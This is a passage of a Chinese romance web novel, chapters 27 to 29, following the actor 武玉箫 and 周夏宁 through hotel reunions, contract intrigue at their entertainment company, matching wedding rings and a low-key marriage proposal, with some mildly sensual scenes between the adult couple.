她太过独立,几乎让他忘记她有一个每个月都坚持给她寄手写信的爱她的父亲,有一个会为了她给他写粉丝信的母亲,有一群为了混进他的后援会和骨灰级粉丝群花钱买他代言的亲戚。
她的身后有坚实的家族,而他身后只有自己。在他自己都对前路倍感焦虑的时候,他又有什么资格要求她相信陪他熬过那五年,他们就能幸福地结婚生子。给不了对未来的承诺,他又有什么资格贪求她继续留在他身边?
她还是太善良了,在分手的时候,没有把那些血淋淋的现实说出来,刺激他脆弱又可怜的自尊心。
她只说了“他们不合适”,这是她那时能给他的最大体面。
她的小屋,不大却很温暖。房间里除了床,摆满了推理书。他把她放在床上,掖好被角。床头灯的灯光被他调到了最小。
他在她的脸颊上留下晚安吻后便准备离开。起身的时候,他听到了她的呢喃声,“朝朝,谢谢你没有放弃我。”
武玉箫又坐回床头,牵住她的手,柔声说道:“夏夏,一直都是你没有放弃我。”
从打循环开始,牵起他手的人一直都是她,是她牵着他共同走向了繁星璀璨的康庄大道。
她成就了他,他也成就了她。即便在分别的日子里,他们也相互较劲去到了更广阔的舞台,去看了更新奇的风景。
这样的爱人,没有人会主动放弃,除非死神将他们分离。
即便没有那些戏剧性的插曲,他还是会在分手之后对她念念不忘,在与她重逢之后对她死缠烂打,博她心软,诱她复合。
她突然翻了个身,他的手上只剩她留下的余温。他给她重新拉好被子。此时,周父敲门进屋。看着他如此照顾她,心中五味杂陈。
这个女婿,不一定是条件最合适的,却是她愿意也有能力买单的。
“去外面坐坐吧。他们今天不扒完你们的恋爱时间线,不会走的。”
周父抓住他的胳膊把他牵了出来,他的手和周夏宁的一样暖,让他很想一直抓着它。
明亮的灯光再次在眼前亮起,武玉箫的身前出现了数道与周夏宁八卦时一样的目光,一股暖流从心头淌过,他坐在中央,接受他们的提问。
看着那一张张慈善祥和的脸,他才惊觉,这个大家族里已经有了他的位置。
27. 开运山楂
泽城,雲霏酒店9楼走廊。
落日余晖穿过透明玻璃落在红色地毯上,在上面映出一道兴奋的长影。轻快的脚步声在离阳光最近的房间门口消失,门铃声在此时响起。
片刻之后,“哗哗”的水声透过半开的大门落入周夏宁的耳朵里,她的眼前出现了一个披着青色浴袍的湿身美男,大片古铜色的肌肤被他敞露在外,莹亮的水珠从发梢落在他若隐若现的胸肌上,顺着他优美的肌肉线条一路向下,没于那条系得极紧的碍眼腰带上。
腰带之上,他露得坦坦荡荡。腰带之下,他裹得严严实实。上半身是诱惑,下半身是欲望。扔出诱饵勾她在欲海中沉沦,这个男人最近越发学坏了。
“不给我房卡,就是为了让我看美男出浴?”
周夏宁的指尖顺着他胸口的水迹轻轻下滑,最后勾在他的腰带上。腰带系的是死结,她一只手勾不开。他为了防止她临时起意在门口调戏他,做足了准备工作。
周夏宁遗憾地松手,准备进屋。他坏笑着抵住门,横在门口,甩下发间的水珠,魅惑地问道:“要进来吗?”
他指了指自己的脸颊,示意她以轻柔的吻付这个过路费。
周夏宁盯着他红润的薄唇咽了咽口水,他都自己送上门了,亲吻脸颊怎么够?她向下压他的系带逼着他俯下身来,她顺势含住他的薄唇,在上面肆意蹂躏。他闭眼的瞬间,她突然将他推开,捉弄道:“诚意呢?”
武玉箫深吸一口气儿,试图调整已经乱掉的呼吸。他退到门后,迅速解开系带上的死结,浴袍下摆散开后,周夏宁的脸瞬间红了。他就只披了件浴袍来给她开门,难怪要把系带系死。
武玉箫不太满意她的反应,缓慢地把浴袍褪到腰间,勾引道:“满意吗?”
周夏宁把包扔在了置物架上,一脚把门踢严实了。她把他抵在墙角,手从他的胸口处一路下滑,不满道:“门都没关,你也不怕你这勾人的样子被别人看了去?”
“视线死角。”
话音未落,她的手在他的侧腰处停下,那里新增了两道划伤。
“怎么弄的?”
周夏宁仔细瞅了瞅。伤口很浅,是很普通的擦伤。
他把她的手放在他的胸肌上,引诱道:“手感好吗?”
周夏宁把他的手甩开,气闷道:“别打岔。”
每次在酒店见面,不想回答的问题,他都会以色诱的方式让她暂时抛诸脑后。欢爱完了,她重新记起的时候,他又飞回组里了。
他这个毛病,不能惯着。
“做特训的时候伤的。下一部戏,余姐很重视。”
武玉箫不想继续这个话题,陆扉辰通过了他的S-T约申请,但是他整个团队的对赌业绩指标上浮了20%。现在的业绩完成率是70%,在转约之前,新业绩的完成率达到85%,他才能拿到S-T约。
下一部戏是公司撤资源之前,他能够拿到的最后一个夜荷流线组的S+++剧本。为了他和周夏宁的未来,这次机会,他必须得抓住。
突然,周夏宁赤脚踩在了他的脚背上。他回神之时,她在他的腰上轻掐了一把,不满道:“不专心,差评。”
他身上的浴袍应声被她扯到地上,她像树獭一般挂在他的身上,邀请道:“一起?”
他抱着她去了浴室,在氤氲的水汽中她脸颊绯红。淋浴的感应灯应声亮起,温热的水淋在两人的头上,散去他们脑海中的烦忧。周夏宁踮脚去亲吻他时,他恰巧低头去吻她。浓情在两人交缠的身躯里溢散,温暖的爱意伴着流水将他们包裹。这一刻,他们只有彼此,只有欢愉,只有对共赴极乐的渴望。
早上十点,雲霏酒店0906。
红枣枸杞桂圆茶的香味在空气中飘散,周夏宁勉强睁开眼,诱人的古铜色肌肤赫然映入眼帘。难得一觉醒来还能看到他在身边。
“还能留多久?”
周夏宁的手伸到他半开的睡衣里在他的胸口处一顿乱摸。武玉箫全身紧绷,面不改色地将手中的台本翻了一页,“沙沙”的翻页声掩盖了他的吸气声。
没有等到预期的反应,她不满地给了他硬邦邦的腹肌一掌,随后收回了手。她坐起身,作势要下床。他用余光瞥了她一眼,却也没有放下台本。
她深吸了一口气儿,突然转身向他扑来,他双手搂住她的腰,将她圈在怀中,翻身压在身下。她转头推他的瞬间,他撅住她的薄唇,不断加深这个吻,在他呼吸完全乱掉之前,他从她的身上离开。
“你故意的?”
周夏宁去脱他的睡衣,她本来只想逗逗他,可现在她不这么想了。武玉箫抓住她的手,摇头笑道:“我下午两点的飞机,再赖会儿床,我们该去吃午餐了。”
他的手在她的腰上轻轻按揉,他们昨晚闹得有些过火,她的身体需要休息。
“这次在青城要待多久?”
周夏宁趴在他的腿上,他的小腿处布满青瘀。易睿执导的武侠剧,打戏要求很严苛,进组之后,他怕是在杀青之前都回不来了。
武玉箫手上的动作突然停下,他为难地问道:“夏夏,在戏杀青之前,你能不能一个月来见我三次。在机场见面都可以,我保证什么都不做,纯吃饭聊天。”
周夏宁坐起身,抚上他的脸颊,认真问道:“为什么是三次?”
他们复合之后,她从未向他提过一个月必须见面不少于三次的要求。但他像是有了PTSD一般,无论多忙都主动遵守了这个规定。上周他冒雨坐动车回来,和她匆匆吃了一顿饭就坐凌晨的飞机回去了。
他想要低头的时候,她用手托住了他的脑袋,逼着他直视她的眼睛。在这段感情里,他习惯性地把自己放在低位,她很感谢他对她的诊视,可他不是她的仆人。
“当初交往的时候我答应过一个月至少和你见三次面。当初分手的事情,我没答应。我们只是异地了三年,没有分手。这个约定依旧有效。”
武玉箫以吻封她的唇,意思是不接受她的任何反驳。
青城和陵城不过两小时的飞机,飞去看他不是什么难事儿。只是,她不想因为这个约定去看他。
“你之前不是给我写信让我们试试异地恋吗?这三个月,我们试试,怎么样?”她认真地问道。
“我不想试。我想见你,就算不是因为那个约定我也想见你。我只是怕你像之前那样在剧组陪我,爸妈会不高兴。”
周夏宁的工作也很忙,来回飞,很累。他如果是她的父亲,他会很讨厌这样折腾她的男朋友。
周夏宁重新趴到他的腿上,说道:“你想见我,那我就去看你。他们当初不是因为我去剧组陪你而不高兴,是因为……”
周夏宁闭上眼,不意继续说下去。他们当年的矛盾点一直都不是武玉箫。是她无心工作、不思进取的态度惹怒了他们,他们才强行逼着她分手。
武玉箫又轻柔地揉起她的腰,过去的事情,等她想说的时候,他再听。
突然,屋外的门铃响了。
“哪位?”武玉箫问道。
“你要的书我带来了,方便开门吗?”
甜美的女声从屋外飘来,武玉箫愣了半晌,才想起他之前找范汐晴要过推拿相关的书籍。
“范医生,麻烦等我三分钟。”
武玉箫匆忙下床,在沙发前换衣服。周夏宁这段时间可没少听这位范医生和武玉箫的八卦。她刚回国,就跑去武玉箫的剧组给他送花,请吃饭。武玉箫没拒绝,但是和她报备了。
虽然她在他身上挂了门牌,但还是有人想往里面挤。周夏宁从旁拿过他的外套披在身上,在经过浴室的时候,将水龙头拧开,随后把门开了一道缝。
“他在洗澡
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,东西给我吧。”
周夏宁扒拉着门,故意露出他昨晚失控后在她锁骨附近留下的吻痕。范汐晴的脸一阵红一阵白,慌忙地将手中的小雏菊藏到身后。
“有话要我带给他?还是你要进来?”周夏宁挑眉问道。
她眼中的玩味笑意如刺一般扎在范汐晴的心上,她是听说他单身才来追他的。
“渣男,立什么单身人设。”
范汐晴愤怒地将花摔在地上,气鼓鼓地离开了。周夏宁拍拍花上的灰,走到武玉箫身边,笑道:“花不错,扔了可惜了。”
“夏夏,我真的没有立单身人设。她上次送的是白茉莉。”
武玉箫急得似热锅上的蚂蚁。周夏宁漫不经心地点点头,说道:“既然你衣服穿好了,我们去吃饭吧。”
她独自去了浴室洗漱,不过是刷个牙的功夫,武玉箫便脱了衣服跟了进来。
“等会儿我们去机场随便吃点儿。”
他在她的唇畔反复亲吻试探,她真生气的时候会态度强硬地推开他。
她经不住诱惑,双手环住他的腰,朱唇轻启,给了他撬开她唇舌的机会。他暗自松了一口气儿,与她继续亲吻,直到她主动推开了他。
“纵欲无度,伤身。”
周夏宁把他推了出去,门关之后,她特意加了道锁。每次他以试探开头,她都以瘫软在床结尾。他折腾完了精神百倍,她却要全身酸痛大半天。
男色当前,得学会拒绝。
泽城,云沧国际机场。
飞往青城的航班在十五分钟后就要停止检票,武玉箫拉着周夏宁的手,再次问道:“夏夏,真的不用我回陵城向爸妈解释吗?真的不用吗?”
这个问题从餐厅到机场他已经问了数十遍,周夏宁听得耳朵都快起茧子了。
半小时前,他脚踏两条船的绯闻被爆出来了,现在正在热搜前排挂着。她家的老父亲给她来了电话,她从头解释了一遍,他还是非常不安,吵着要回陵城当面解释。
他今晚有和易导的饭局,袁栎三令五申让他不要迟到。错过这班机,下一班得到两个小时以后了。
周夏宁看他不安的模样,很是心疼,问道:“就这么怕我爸妈生气?”
武玉箫点点头,“我不想被这个家除名。”
“我家就这么好?”
周夏宁直视他的眼睛,他没有回避她的视线,认真说道:“很好。我想一直留在那儿。”
周夏宁的手在键盘上飞舞,动作停下时,她问道:“之前,你说我想结婚了就通知你一声,这话还算数吗?”
“作数。”
武玉箫的心“砰砰”乱跳,摸不清她说这话的意图。
“作数就行,去登机吧。开运山楂祝你好运。拍戏少受伤。有时间我会去看你的。”
周夏宁把一盒写着“开运”两字的山楂糕塞到他手上,推着他去了候机室。
飞机客舱。
武玉箫刚放好行李,袁栎给他来了消息:你有名分了。
他顺着她发来的链接点进去。
他的社交账号下最新一条博文写着:朝朝是夏夏家的桂花糖炒年糕,以前是,现在是,以后也是。是要结婚的关系,请各位看上他的桂花糖们另择一盘炒年糕。开运山楂镇楼,各路桃花退退退。
博文的落款写的是:夏夏。
武玉箫不敢相信自己的眼睛,她就这样水灵灵的把婚讯公布出去了。
这时,周夏宁发来消息:转约的事情定了,我们就去领证,转什么约都可以。吃了夏夏特制的“开运”山楂糕,你一定能够与好运同行。我会很想你,你少想我一点,注意安全。
飞机在这时起飞,望着渐渐变得清晰的青空,他放下手机,将盒子里的山楂糕拿出来一小口一小口地吃掉。有她这份心意,前路风雨再大他也不怕。
28. 桂花米酒
西斯赫尔酒店,悠雲湖畔。
带着暑气的夜风从林间吹来,在倒映着火红霞光的湖面上漾起点点涟漪。金色锦鲤顺着水波荡漾的方向游到湖边,在周夏宁站定的地方聚集。她惊讶地看着自动向它靠近的游鱼,将手中最后一口面包扔到了湖里,当做这些锦鲤主动向她问候的谢礼。
身后的停车场传来汽车停靠的声音,片刻之后,她的身后出现了一道与那霞光同样热烈温暖的长影。她回头之时,她的眼前出现了一束紫色绣球花。
“迟来的祝贺。”
武玉箫轻柔地将她拥入怀中,在她的脸颊上留下轻柔的吻。她情不自禁地唇角上扬,眼里的光比那似火的霞光还要闪耀。
邱远衡打通循环的那天,他恰巧在巴黎走秀,没来得及参加他们的庆功会。《夏日面点屋》拿到了亿星的A级投资,她越级把男主角色给了邱远衡。
她把十年前她曾对他做的事情,又对邱远衡做了一遍。不同的是,这次她站在了终点等待她的男主角从长达近一年的循环赛里杀出重围,走到她的身前。接下来的三年,邱远衡都会是她定制剧的男主角。
今晚,他们要一起去见陆扉辰,去见叶景枫,去见周姚团队里的人。想到这里,武玉箫不禁有些小失落。
“等会儿甜品部要拍带家属的合照,你要一起吗?”
周夏宁拉起他的手,指尖在他的无名指上反复摩挲。他在时装周上戴的那枚戒指很闪很亮,但很碍眼。虽说是工作需要,她还是讨厌他戴除她以外的人送的戒指。他太招蜂引蝶了,挂个平安扣的门牌,远远不够宣誓主权。
听到“家属”两个字,武玉箫的眼睛亮闪闪的,心中的阴霾一扫而空。邱远衡是她的男主角,但他是她的家属。这其中的远近亲疏,一眼就能看出来。
武玉箫点点头,笑问道:“你们要拍什么风格的合照?”
话音未落,一枚铂金戒指被她套在了他的无名指上。他惊讶地瞪大双眸,温暖的笑容在唇角扩散。
“情侣对戒?”
武玉箫的视线落在她的无名指上,难怪她刚才一直把手背在身后。
“婚戒风。不过,我们戴情侣对戒也行。”
周夏宁松开他的手转身离去,那天她发的转约之后就领证的消息,他一直没有给她明确回复。她猜不准他的心思,主动去找他要答复,倒是显得她恨嫁了。
武玉箫追她而去,她故意放缓脚步让他追上,他握住她的手,与她十指相扣。
“夏夏,婚戒,是要相互戴的。”
武玉箫从兜里拿出一个粉钻项链,这个戒指的设计同她手上那款很相似,可钻石的价格贵了近十倍。
他取下她手上的戒指,小心翼翼地将碎钻戒指套在她手上。她准备他的戒指,他准备她的,这才是属于他们的婚戒。
“什么时候准备的?”
周夏宁压不住唇角的笑意,用戒指套牢她,这就是他给出的回复。
“在巴黎的时候。”
武玉箫低头亲吻她戴着粉钻的无名指,戒指是她公开两人关系之后找设计师设计的,但这粉钻是四年前他在瑞士买的。
虽然过程曲折,这粉钻最终还是去到了它的女主人那儿。如他所料,这粉钻很适合她。
“夏夏姐,周姚哥找你。”
邱远衡的声音很不合时宜地出现在武玉箫的耳边,周夏宁在他的眼中看到了警惕之色,轻笑着踮脚亲吻他的唇角。她松开他的手,在他不舍的目光下,缓缓走到邱远衡的身边。
他目送他们去到周姚所在的地方。那里站了十来个人,那是周姚的团队,也是她的。那里有她想要见的风景,而他是她看完风景后想要吃的桂花糖炒年糕。
注意到他的目光,她在人群中轻笑着同他挥手。他亲吻了他手上的铂金戒指,以示回礼。她同大部队离去之后,他一个人进了宴会厅,等她来找他。
西斯赫尔酒店0103,云花厅。
草莓蛋糕的香气在空气中飘散,武玉箫端着桂花米酒在窗边静立,和往年不同,来找他搭话的人很少。
一入七月,公司就开始下撤给他的资源,袁栎也被调去了C约部。他的新执行经纪人悬而未决,以前如雪花般飞来的工作邀约现在一点儿踪影也没有瞧见。八月中旬一过,他的时间就全部空出来了。
在这个圈子,荣誉、热度、追捧都是随时会破灭的泡沫。当辉煌不在,往日围在身边的人都会一溜烟地消失。这种人走茶凉的感觉,四年前,他就经历过。如今再次遇到,已没有了当初的幻灭感。
“怎么一个人在这儿?夏夏呢?”
温润的男声迎面而来,他举着香槟杯主动与武玉箫碰杯。来人是徽瑞,是周夏宁的偶像,也是四年前,在他圈内好友都离去的时候,主动走向他的人。
“去见陆老板了。”
武玉箫把手中的桂花米酒换成了香槟,与他喝了起来。
“我下部戏,能委屈你来做个男二号吗?”徽瑞开门见山道。
他的下部戏是个刑侦现代剧,男二号是个潜伏在警局里的反派组织卧底。武玉箫出道以来没有演过反派,但这是动作片,很适合他。
“繁星参投的剧,我没有试镜资格。”
艾彬卡掉了他所有有公司参投项目的试镜机会。这是他之前就预料到的事情,但是真实发生之后,那种失落感和空虚感比预期的要强十来倍。
“先去试戏,万一没有被卡掉呢?你的合约还有一年半,难道你打算这一年半什么戏都不拍,就在家里等夏夏回来?她这三年可是很忙的。”
徽瑞把桂花米酒塞回到他手中。朋友之间需要的是自在,他喝香槟是因为他喜欢,不是希望他陪酒。他的酒还是留着同投资人和老板喝吧。
“这个圈子不缺身上有你高中时影子的年轻男孩儿,就比如她现在选的男主角。你不可能永远十八岁,但这个圈子永远有十八岁的男孩儿。朝朝,我相信你做什么都能成功,但是,以她现在的位置,她所面对的诱惑不比你之前的少。你离开了这个圈子,你和她的共同话题就只剩家长里短和春宵一度,你真的不会对她疑神疑鬼吗?看着邱远衡你不会害怕吗?”
武玉箫低头不语,他会。看着他,他就会情不自禁地想起他十八岁时的模样。他们之间有相似点,虽然邱远衡擅长的是面点,他擅长的是武术。
“这部戏的导演是朱齐,我和他聊过,他很满意你在《霜落枫桥》里的表现。主动去找他试戏,他会给你机会的。”
徽瑞拍拍他的肩,直接劝阻他转S-T约的话,他还是没有说出口。他天生就属于这个圈子,他想逃,也逃不掉。
“谢谢你,有好角色都惦念着我。”
武玉箫主动与他碰杯。四年前,他从威亚上掉下来之后的第一部作品也是徽瑞介绍的。那是他的S评级试水作,他坚持用了他,换掉了比他评级更高的江洵。
徽瑞看到周夏宁穿过人群向他们走来,低头看向手中的草莓蛋糕,唇角轻轻上扬。
要说感谢也是他感谢眼前这个恋爱脑。在他们素不相识的时候,他厚着脸皮去他的拍摄现场蹲守了一周,邀请他去参加周夏宁的研究生毕业典礼。他提了很无理的要求,他答应了,并完成了。他去了周夏宁的毕业典礼,然后在那里遇到了推了他一把的贵人。
投桃报李,应该的。
更何况,他的资源都是他的大经纪人自己卡的。他去找艾彬的时候,在办公室外听他发了好大一通脾气。
那个眼光毒辣的女人肯定也发现了《霜落枫桥》现在低开疯走的收视热度同《朝朝慕夏》三部曲开播的时候极其相似。
他离再次爆火不过时间问题。她看似在卡他的资源,不过是在等热度上去,优中选优而已。
抛开私交,他这个时候给他抛橄榄枝,不过是低价捡漏蓝筹股。
此时,周夏宁来到了武玉箫的身后,徽瑞主动同她打了招呼,将手中的草莓蛋糕交给了武玉箫。
“我帮你抢的草莓蛋糕,希望你喜欢。”
盘子下藏了一张字条,武玉箫突然愣了半晌。这句话徽瑞一年
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前也同他说过,他当时听了他的话,去了15楼,然后遇到了正在吃草莓蛋糕的周夏宁。
“夏夏,要拍照吗?”
周夏宁察觉到了两人之间的不对劲,但还是随着徽瑞去了照相区。武玉箫默默跟在两人身后,他不会打扰她和她偶像共度的短暂而美好的时光。
只是,看着徽瑞和她同框,他情不自禁地想,在她身边的应该是他。拍了一组过后,甜品部的人都过来了。徽瑞自动让出了拍照区,在从武玉箫身边经过时,他笑道:“刚才的滋味,好好记住。以后,你只会比这更难受。”
望着他离去的身影,武玉箫默默握紧拳头,那张他准备撕掉的纸条,重新被他塞进了兜里。周夏宁看到了他这个举动,主动走过去拉住他的手,将他带到了镜头里。
这次与以往不同,她陪着他蹲在前排,他们共同拿着草莓蛋糕。在摄像师倒数的时候,她与他十指相扣,在镜头里露出他们的对戒。闪光灯亮起的那一刻,她歪头主动与他亲吻。他惊讶的神情被相机永远定格。
他们一共亲吻了十秒,武玉箫记不清闪光灯闪了多少下,他只知道自己的心跳得很快,他的眼里只能看到她,也希望她的眼里只有他。可是她和徽瑞共同合照的画面在他眼前挥之不去。
闪光灯停下的时候,她像兔子一样跑开了,兴奋地去看相片。相片里,甜品部的五位都对他们的另一半做了她刚才对他做的事情,这就是她口中的婚戒风合照。
合照之后,她拉着他去了宴会厅门口。她把一杯桂花米酒放到他手中,主动与他碰杯。他看着她,仰头将米酒饮尽。
“我只问一遍。徽瑞送给你的草莓蛋糕,你想要吗?”
这是他们之间的默契,如果需要一点点勇气来说出自己最真实的想法,他们就喝桂花米酒。米酒也是酒,酒壮怂人胆。
“想。”武玉箫歉疚地说道。
他答应过会离开这个圈子,可是他不想灰头土脸地离开。他想要急流勇退,想要让别人都说他配得上她。他需要做出更好的业绩,需要突破公司资源封锁的机会。
周夏宁双手圈住他的脖子,在无人处尽情地与他拥吻。周姚的轻咳声在大厅出现,周夏宁知道自己必须走了。
“出门左转,快点跑过去。祝你好运。我在家里等你的好消息。”
周夏宁主动将他留在身后,银屏是他注定要走向的地方,而她会是他渴望回到的地方。
凌晨一点,夜荷员工公寓。
武玉箫一身酒气地推开门,屋里的感应灯应声亮起。卧室里,周夏宁已经熟睡。他不想吵到她,抱着枕头去了客厅。
沙发的茶几上放着一张写着账号密码的便签纸,那是她的云盘密码。年会上的照片很乱很杂,以往都是他帮她整理的。她离开后,密码也改了,那些照片,一张都没有给他留。
他拿起笔记本电脑,登入了她的云盘。云盘里没有照片,只有她的心情日记。他点开了最上面的阅读指南,一封手写信出现在屏幕上。
信上写道:
你合约完全结束之后,S-T约才生效。在这剩下的一年半里,尽情地去争取你想争取的,去做你想做的。大胆向前走,你要去的青云里有我中意的风景,即便在命运的分岔口走散,我也会出现在你的前途里,再次与你重逢。
武玉箫把枕头抱回卧室,去浴室洗漱之后,在她身旁躺下。夜灯亮起的瞬间,她睡眼惺忪地扑到他的怀中,淡淡的酒气扑鼻而来。
“今天怎么不怕熏着我了?”
周夏宁轻声呢喃,默默抱紧他。
他轻轻抚摸她的长发,轻柔说道:“你太好了,抱着你,我心里才踏实。下次我会少喝点儿酒。”
“睡吧。明天还要工作。”
她把脑袋贴在他的胸口,听着他平稳的心跳声,缓缓睡去。她很高兴,他终于在怕吵到她和拥抱她之间,选择了后者。
她知道他很爱她,她想让他知道,在这段关系里,他也可以让她痛,让她生气,让她不那么开心。这种包容是她爱他的证明。
29. 牛轧奶糖
丰亿大厦1206,总经理办公室。
红艳的玫瑰花在茶壶中翻滚,沁人的香味在屋中弥散。周夏宁局促不安地坐在沙发上,等待陆扉辰的到来。
又到了一年年末,漫天大雪与武玉箫的转约评级结果一同如期而至。跨年之后,他与亿星的合约就只剩下最后一年。他的S-T约资源封存流程已经走到末尾,只等陆扉辰的审核通过。
在这件事情上,陆扉辰展现了比海更宽广的神仙肚量。他给了余芷半年时间,让她全权负责武玉箫的资源下撤事宜。半年过去,武玉箫的工作邀约与资源下撤之前,并无太大区别,几乎每天都是死亡行程。
艾彬卡过他的资源封存审核,但是他业绩达标了,系统审批自动跳过他去了陆扉辰那儿。
按照他现在的业绩完成率,逼他转S-A约才是对公司最有利的。他有名气,有代表作,有实力,只要给到适合他的剧本和团队,投资收益率基本都能达标。这比重新去挖宝风险要小很多。
更何况,武玉箫是亿星一手培养出来的,哪个老板会放弃自己费心养出来的摇钱树?
周夏宁紧张得双手发抖,陆扉辰若是想要武玉箫转S-A约,她和武玉箫之间就真的没可能了。S-A约是对赌约,输一次,武玉箫的全部身家都得赔进去。她没那个胆量陪他赌。
“久等了。”
西装革履的男人出现在门口,他的胸口别着一枚蓝宝石胸针,那胸针和这屋里的所有摆件一样,市场价不低于一千万。他对着她温柔轻笑,周夏宁不安地咽了咽口水,后背不禁冒起冷汗。
亿星有个不成文的规矩:宁看陆老板发火,莫看他笑得阳光灿烂。
“不知陆总找我,有什么事儿?”
周夏宁掐着自己的胳膊,强行驱散心中的恐惧。
“没什么事儿,就是有个小礼物要送给你。”
两张VIP卡被放在了茶几上,荷叶纹样的是夜荷的纪念门禁卡,星星图案的是亿星的纪念工牌。
这两张都是工龄十年以上,评级S级以上的资深高管才能拿到的消费优惠卡。凭卡,持卡人可在丰亿大厦三大老板名下的所有实体店面享受VIP待遇,买到很多不在市面上流通的产品和服务。投资部曾经给出的市场估价为800万/张。
这两张卡,可不算小礼物。
“武玉箫的结婚申请,我已经通过了。这是我和叶老板提前送你们的结婚礼物。祝你们新婚快乐。”
武玉箫只有收到转约邮件,才能提出结婚申请。
周夏宁的心没有缘由的“咯噔”一下,陆扉辰在对待武玉箫转约这事儿冷静大度得不似凡人。
“陆总,能冒昧问一句,为什么你会同意他转S-T约吗?”
周夏宁神情凝重,陆扉辰将武玉箫的业绩评价报告交到她手上,笑道:“这是他凭实力得到的,亿星尊重才华。”
不过半年时间,武玉箫的业绩完成率已经达到了90%,再完成5%,他会自动转S-B约。S-T约是封存约,只要他向公司申请,他就可以通过试水作转到B约部。
陆扉辰笃定他在十年合约结束之前会自动转S-B约,所以现在顺水推舟遂了他的心愿,并且大大方方给他送结婚祝福。他现在把人情送到武玉箫的心坎里,日后就算看在这个人情的份上,武玉箫也很难拒绝公司抛来的复出邀约。
黑心老板的东西真不是白拿的。
周夏宁把两张卡收到了包里,这陆老板虽然心是黑的,可好处是实打实地给,比外面的无良老板不知道要强多少倍。
亿星不倒闭,她能让武玉箫在这儿干到退休。
她松了口气儿,抱着还冒着热气儿的茶杯,将玫瑰花茶一口饮尽。老规矩,喝了陆老板的茶,就要为他的商业版图奋力拼搏。
此时,轻荷来找陆扉辰。周夏宁放下茶杯,便准备离开。走到门边,她还是忍不住问道:“你就这么笃定他会回来吗?”
陆扉辰看着桌上的剧本邀约,淡然笑道:“在银屏上闪耀是他的使命,他不去找作品,作品也会找到他。”
晚上七点,夜荷员工公寓。
在楼梯口,周夏宁不断地深呼吸,她的心快得近乎要跳出来。她有预感,武玉箫今晚要向她求婚。
他是一个很有仪式感的人,一定不会错过这个制造惊喜和感动的机会。
她知道推门进去之后,他会单膝跪地,给她送花送首饰,然后拉着她的手,深情问道:“嫁给我好吗?”
她甚至能够想象出来他说话时的神情,可是她就是不由自主地紧张。
朝朝:回来了吗?我下楼去接你好吗?
周夏宁转身上了电梯,跟着电梯下了楼。她在楼下晃悠了一小会儿,武玉箫便下来迎她。
见到她,他并没有非常兴奋。他像往常一样,把她的手放进他的兜里,搂着她的腰进了电梯。他的身上沾着牛奶的味道,他又在家里练习做牛轧奶糖了。
开甜品店的事情,他一直放在心上,稍有时间他就会练习做奶糖,拟店里的菜单。他正在一步一步履行他当初对她父母许下的承诺。
周夏宁一路望着他发呆,她炙热的视线烧得他脸颊通红。他这模样比十八岁的高中生都还要清纯。周夏宁情不自禁地吻上他的脸颊。
他转身准备与她拥吻时,电梯门开了,她像兔子一般跳了出去。她在门口等他,他把她抵在门边,轻柔地吻她,她双手环上他脖子的时候,他趁机按了密码,推门而入。
这是她教他的,撩一下就跑。
周夏宁气鼓鼓地追进了屋,屋里的摆设一切如常,只是茶几上多了一个插着合欢花的陶瓷花瓶。她的眼里有些小失落。
餐桌上照例摆满了菜,周夏宁去屋里换了身衣服。再出来的时候,餐桌上多了一盒牛轧奶糖。
周夏宁兴奋地打开盒子,塞了一块奶糖在嘴里。在奶白色的方块糖间,她看到了一个装着小钥匙的透明袋子。
“这是百宝箱的钥匙?”周夏宁兴奋地问道。
武玉箫点点头,她轻笑着跑去房间把百宝箱拿出来。刚复合那会儿,他很不安,她就把她珍藏的绝版小人漫画书给他当质押物放在百宝箱里。他收了书之后就把百宝箱送给她了,但是钥匙自己留着了。
周夏宁满怀期待地将钥匙插了进去,锁打开的那一瞬间,她的眼睛突然瞪大。这里面不仅装了小人书,还有房产证和财产清单。财产清单上列明了他的资产余额和账户密码。
“你这是……”
周夏宁心头一惊,他这是一早就打定主意要把他的全部身家送给她了。
“夏夏,我收到转约邮件了。明天我们先去律师那儿做你的婚前财产公证,然后我们去领证。”
这个说词和预想的很不一样。周夏宁盯着他看了许久,问道:“你的财产是我的,我的财产也是我的,你就不怕我卷款逃走?”
武玉箫拉着她的手,摸着她无名指上的粉色碎钻,认真地说道:“我会努力让你相信我能给你赚回更多的财产,能够帮你解决钱解决不了的问题,让你愿意待在我身边。如果我做不到,这些财产你都带走也好。至少,我不
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用担心,离开我以后,你会过得很拮据。”
这样的结婚誓词,比“嫁给我吧。我会让你幸福的。”要让人心动一百倍。百宝箱里还放着金项链,金镯子和金耳环。
这是传统的三金。
“你知道我不缺钱。”
周夏宁把百宝箱放到一旁,这是他的态度,但是她并不缺这些。
“我知道,这是我加入你家的入会费。婚姻是柴米油盐,它没办法靠抽象的爱意过活。我拿我的全部身家和你赌我能让你相信留在我身边,会让你变得更加年轻漂亮有活力有魅力。如果我赌输了,我愿赌服输。”
周夏宁收下了他的财产清单,在他的唇角印下一吻,笑道:“账号和密码我笑纳了,明天一起去做财产公证,然后去领证。”
武玉箫抱着她,直视她的眼睛,问道:“为什么不要我的财产?”
周夏宁的手从他的喉结处划过,笑道:“我图你的美色,要你的财产干什么。你敢和我赌你能让我相信留在你身边我会过得很幸福,那我也敢和你赌你不会离开我。我饿了,我们吃饭吧。”
她坐在他对面,非常安静地吃了起来。他时不时给她夹菜,让她尝尝他新学的柠檬烤鱼和越南虾卷。这顿晚饭和以往没有太大区别,平平淡淡,没有夸张的仪式,没有空洞的承诺。他给出了他的诚意,她表达了她的想法。
这是他们人生中很普通的一天,他正式向她提出了领证的请求,她答应了。即便他们之间多了一张结婚证,他们之间的日常也不会有任何改变。
晚上九点。
周夏宁穿着睡裙从浴室出来的时候,发现卧室门口多了一个被透明胶封口的小箱子。便签纸上写着:请查收你没有签收的礼物。
她拿着剪刀将箱子打开,成排的手写信映入眼帘。信下面放了不同的盒子,上面贴着他们纪念日的日期,那是过去三年他给她准备的礼物。
周夏宁坐在床上,将他写给她的信一封一封地拆开,每一封信的结尾都写着:祝你身体健康,思如泉涌,不要生病。
她本来不想哭,可眼泪不受控制地落下来。在他莫名其妙被分手的三年里,他还是把最诚挚的祝福给了她。他是有理由怨恨她的。
武玉箫听到哭声,随手裹了条浴巾就跑了出来。看到盒子里被拆封的信封,他坐到她的身旁安慰道:“是我当时做得不够好。不是你的错。”
听他这么一说,周夏宁哭得更厉害了。武玉箫极少看周夏宁哭,他此时手足无措。他把信放回盒子里,然后欺身上去,吻去她眼角的泪珠。他的吻轻柔绵密,她很快被他分散了注意力。
她双手环在他的脖子上,主动与他亲吻。她比以往更加沉醉投入,武玉箫搂着她的腰,比平时更加耐心地吻她,更热情地邀请她一同沉沦。
